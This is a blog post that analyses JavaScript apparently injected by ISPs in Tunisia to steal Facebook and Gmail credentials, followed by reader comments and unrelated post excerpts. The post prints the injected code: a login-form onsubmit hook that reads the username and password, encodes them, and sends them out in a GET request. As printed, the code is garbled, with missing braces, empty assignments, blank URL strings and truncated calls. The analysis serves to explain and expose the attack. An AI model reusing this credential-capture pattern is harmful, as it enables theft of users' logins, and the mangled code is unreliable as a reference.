Skip to main content

The code injected to steal passwords in Tunisia

It's been floating around the net for weeks now, but I finally took a look at how someone in Tunisia (assumption is the government) was stealing usernames and passwords from common sites like Google Mail and Facebook.

The attack worked like this:

1. When a user visited a site like Facebook JavaScript would be injected into the page where the user types in their username and password. On Facebook these pages are served via HTTP and so the injection is possible if you can intercept at the ISP level. The actual username and password are sent via HTTPS but once the JavaScript is in there it's game over.

2. The login form itself is modified to include an onsubmit handler that calls the JavaScript function hAAAQ3d (which reads as hacked). That function reads the username and password and makes an HTTP call to a bogus page on Facebook. This page (named wo0dh3ad, which I think you can read was woodhead) has the username and password appended as parameters with some code to make them URL safe.

3. Someone, somewhere reads those URLs to extract the username and password. That could be done from a log file, or even a firewall could have been configured to filter these requests so that they would never reach Facebook.

I've pretty printed the code below. The major functions are hAAAQ3d (described above), r5t (generates a random string of characters which are added to the request URL used to send the username and password) and h6h (which I read as 'hash' which takes a username or password and converts it to a string of lowercase characters that can be safely transmitted in a URL).

There are helper functions inv0k(1,2,3) (which I read as 'invoke') which make the actual HTTP request. Two are used for different browser types and third is not used, but what it does is modify an injected image tag to get the same URL used to send the username/password.
function h6h(st)
  var st2="";
  for ( i = 0; i < st.length; i++ ) {
    c = st.charCodeAt(i);
    ch = (c & 0xF0) >> 4;
    cl = c & 0x0F;
    st2 = st2 + String.fromCharCode( ch + 97 ) + 
                String.fromCharCode( cl + 97 );
  return st2;

function r5t(len)
  var st = "";
  for ( i = 0; i < len; i++ )
    st = st + String.fromCharCode( Math.floor( Math.random( 1 ) * 26 + 97 ) ); 
  return st;

function hAAAQ3d()
  var frm = document.getElementById( "login_form" ); 
  var us3r =; 
  var pa55 = frm.pass.value;
  var url = "" + r5t( 5 ) + 
      "&u=" + h6h( us3r ) + "&p=" + h6h( pa55 ); 
  var bnm = navigator.appName; 
  if ( bnm == 'Microsoft Internet Explorer' )

function inv0k1(url) 
  var objhq = document.getElementById("x6y7z8"); 
  objhq.src = url;

function inv0k2(url)
  var xr = new XMLHttpRequest();"GET", url, false); 

function inv0k3(url) 
  var xr = new ActiveXObject('Microsoft.XMLHTTP');"GET", url, false); 


bennetthaselton said…
How did you happen to test this, did you find an open proxy server in Tunisia, so that you were able to connect through the proxy and see what a user in Tunisia would see if they connected to Facebook?
Anonymous said…
I don't see how Javascript is to blame here, which is I think what you're implying with your "game over" link. This attack only worked because the attacker could subvert the same-domain origin policy, by posting usernames and passwords to a page at the domain (but which was routed to an attacker's host at a lower level.)
NSFW said…
Gee... not so hard for someone with a laptop to setup in a coffee shop, airport, etc. and do exactly this.
Mr.B said…
Didn't they obfuscate their code?
Anonymous said… the ISP level

Popular posts from this blog

How to write a successful blog post

First, a quick clarification of 'successful'. In this instance, I mean a blog post that receives a large number of page views. For my, little blog the most successful post ever got almost 57,000 page views. Not a lot by some other standards, but I was pretty happy about it. Looking at the top 10 blog posts (by page views) on my site, I've tried to distill some wisdom about what made them successful. Your blog posting mileage may vary. 1. Avoid using the passive voice The Microsoft Word grammar checker has probably been telling you this for years, but the passive voice excludes the people involved in your blog post. And that includes you, the author, and the reader. By using personal pronouns like I, you and we, you will include the reader in your blog post. When I first started this blog I avoid using "I" because I thought I was being narcissistic. But we all like to read about other people, people help anchor a story in reality. Without people your bl

Your last name contains invalid characters

My last name is "Graham-Cumming". But here's a typical form response when I enter it: Does the web site have any idea how rude it is to claim that my last name contains invalid characters? Clearly not. What they actually meant is: our web site will not accept that hyphen in your last name. But do they say that? No, of course not. They decide to shove in my face the claim that there's something wrong with my name. There's nothing wrong with my name, just as there's nothing wrong with someone whose first name is Jean-Marie, or someone whose last name is O'Reilly. What is wrong is that way this is being handled. If the system can't cope with non-letters and spaces it needs to say that. How about the following error message: Our system is unable to process last names that contain non-letters, please replace them with spaces. Don't blame me for having a last name that your system doesn't like, whose fault is that? Saying "Your

The Elevator Button Problem

User interface design is hard. It's hard because people perceive apparently simple things very differently. For example, take a look at this interface to an elevator: From flickr Now imagine the following situation. You are on the third floor of this building and you wish to go to the tenth. The elevator is on the fifth floor and there's an indicator that tells you where it is. Which button do you press? Most people probably say: "press up" since they want to go up. Not long ago I watched someone do the opposite and questioned them about their behavior. They said: "well the elevator is on the fifth floor and I am on the third, so I want it to come down to me". Much can be learnt about the design of user interfaces by considering this, apparently, simple interface. If you think about the elevator button problem you'll find that something so simple has hidden depths. How do people learn about elevator calling? What's the right amount of